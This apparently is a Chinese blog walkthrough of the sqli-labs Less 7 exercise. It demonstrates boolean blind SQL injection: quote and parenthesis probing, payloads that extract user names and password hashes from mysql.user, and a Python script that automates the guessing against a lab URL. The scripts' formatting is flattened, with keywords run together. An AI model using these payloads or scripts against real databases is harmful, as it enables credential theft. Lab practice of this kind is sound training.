「作者主页」:士别三日wyx
「作者简介」:CSDN top200、阿里云博客专家、华为云享专家、网络安全领域优质创作者
前段时间,有个学网安的同学找到我要菜刀(一种后门连接工具)。
我问他怎么了,要干啥?
他说sqllib第七关需要上传木马文件,用菜刀连接。
我很懵逼,这一关我做过,不需要用菜刀,用的盲注。
他不服气,给我扔来截图,说人家题目就是让写入文件。
“你在教我做事?”,我向来不喜欢按规矩做事,直接怼了回去,接着把盲注的Python脚本甩到他“脸上”。
虽然他好长时间没理我,但我知道,这次又是我赢了,我已经赢他太多了。
Less 8
一、功能分析
简单分析一下网站的功能,大致如下:
需要用户输入参数id,后台会根据输入的id查询用户信息。
如果查询到用户信息,则显示查询成功,比如 输入 ?id=1
如果查询不到用户信息,则显示出错,比如 输入 ?id=0(用户的id不能是0或负数,id为0会导致后台查询不到用户信息)
如果后台报错,同样显示出错,比如 输入 ?id=1’(在参数中携带单/双引号,会导致后台数据库报错,前提是后台代码未过滤引号)
二、思路分析
前端页面不显示动态的用户信息(没有显示位),不适合联合注入。
不显示数据库的报错信息(显示错误,但错误是人为写死的,不是数据库本身的错误),不适合报错注入。
只有成功和失败两种情况,推荐使用布尔盲注。
备注:出题者的意图是写入文件,网上已经有很多写入文件的教程,本篇文章使用布尔盲注猜解数据库。
三、实现步骤
1)判断注入点
输入 ?id=1’,页面异常显示(提示错误),初步判断注入点是单引号字符型注入。
输入 ?id=1",页面正常显示(查询成功),说明双引号不会改变SQL的语法结构,可以确定注入点就是单引号字符型注入。
输入 ?id=1’ and 1 – a,使用万能账号验证注入点,异常显示。
添加括号继续尝试,输入 ?id=1’) and 1 – a,仍然异常显示。
继续添加括号尝试,输入 ?id=1’)) and 1 – a,页面正常显示。
改变SQL的恒成立性,进行验证,输入 ?id=1’)) and 0 – a,页面异常显示。
由此可以验证上述观点,网站的注入点类型为:单引号+双引号的字符型注入。
2)判断长度
MySQL的默认数据库 mysql 中,有一个 user 表,该表存放数据库的用户信息,查询 user 表,可以获取数据库用户的账号和密码。
SQL:select group_concat(user,password) from mysql.user
页面不能显示具体的查询数据,我们可以使用猜解的方式来判断具体的数据,首先,我们猜解长度。假设用户名的长度大于1个字符,payload如下:
?id=1'))and length((select group_concat(user,password)from mysql.user))>1-- a
用户名的长度肯定是大于1个字符,因此页面正常显示。
我们再假设用户名的长度小于1个字符,payload如下:
?id=1'))and length((select group_concat(user,password)from mysql.user))<1-- a
用户名的长度肯定不会小于1个字符,因此页面异常显示。
由此可以判断,长度验证payload可以正常使用,接下来,我们假设用户名的长度等于1个字符,并由1开始递增,页面异常显示表示长度不对,页面正常显示表示长度正确,payload如下:
?id=1'))and length((select group_concat(user,password)from mysql.user))=1-- a
手动猜解比较麻烦,这里我们借助Python进行自动化测试,脚本如下:
import requests
# 目标网址(不带参数)
url ="http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"# 猜解长度使用的payload
payload_len ="""?id=1')) and length(
(select group_concat(user,password)
from mysql.user)
)={n} -- a"""# 获取长度defgetLength(url, payload):
length =1# 初始测试长度为1whileTrue:
response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if'You are in.... Use outfile......'in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)
length +=1# 测试长度递增 # 开始猜解
getLength(url, payload_len)
猜解长度为42,运行结果如下:
3)枚举字符
长度确定之后,我们利用ASCLL码表枚举每个字符的可能性。
ASCLL码表总共127个字符(可输入的字符范围是32~126),我们将每个字符转换成ASCLL码,由32开始枚举判断,递增至126,页面异常显示表示猜测错误,页面正常显示表示猜测正确。
手动枚举比较麻烦,这里我们使用Python自动化验证,脚本如下:
import requests
# 目标网址(不带参数)
url ="http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"# 枚举字符使用的payload
payload_str ="""?id=1')) and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,{n},1))={r} -- a"""# 获取字符defgetStr(url, payload, length):str=''# 初始表名/库名为空for l inrange(1, length+1):for n inrange(33,126):
response = requests.get(url= url+payload_str.format(n= l, r= n))if'You are in.... Use outfile......'in response.text:str+=chr(n)print('第', l,'个字符猜解成功:',str)break;returnstr;# 开始猜解
getStr(url, payload_str,42)
成功猜解数据库用户的账号和密码,执行结果如下:
3)完成脚本如下
import requests
# 只需要修改url 和 两个payload即可# 目标网址(不带参数)
url ="http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"# 猜解长度使用的payload
payload_len ="""?id=1')) and length(
(select group_concat(user,password)
from mysql.user)
)={n} -- a"""# 枚举字符使用的payload
payload_str ="""?id=1')) and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,{n},1))={r} -- a"""# 获取长度defgetLength(url, payload):
length =1# 初始测试长度为1whileTrue:
response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if'You are in.... Use outfile......'in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)
length +=1# 测试长度递增# 获取字符defgetStr(url, payload, length):str=''# 初始表名/库名为空for l inrange(1, length+1):for n inrange(33,126):
response = requests.get(url= url+payload_str.format(n= l, r= n))if'You are in.... Use outfile......'in response.text:str+=chr(n)print('第', l,'个字符猜解成功:',str)break;returnstr;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
感谢你的点赞、收藏、评论,我是三日,祝你幸福。
版权归原作者 士别三日wyx 所有, 如有侵权,请联系我们删除。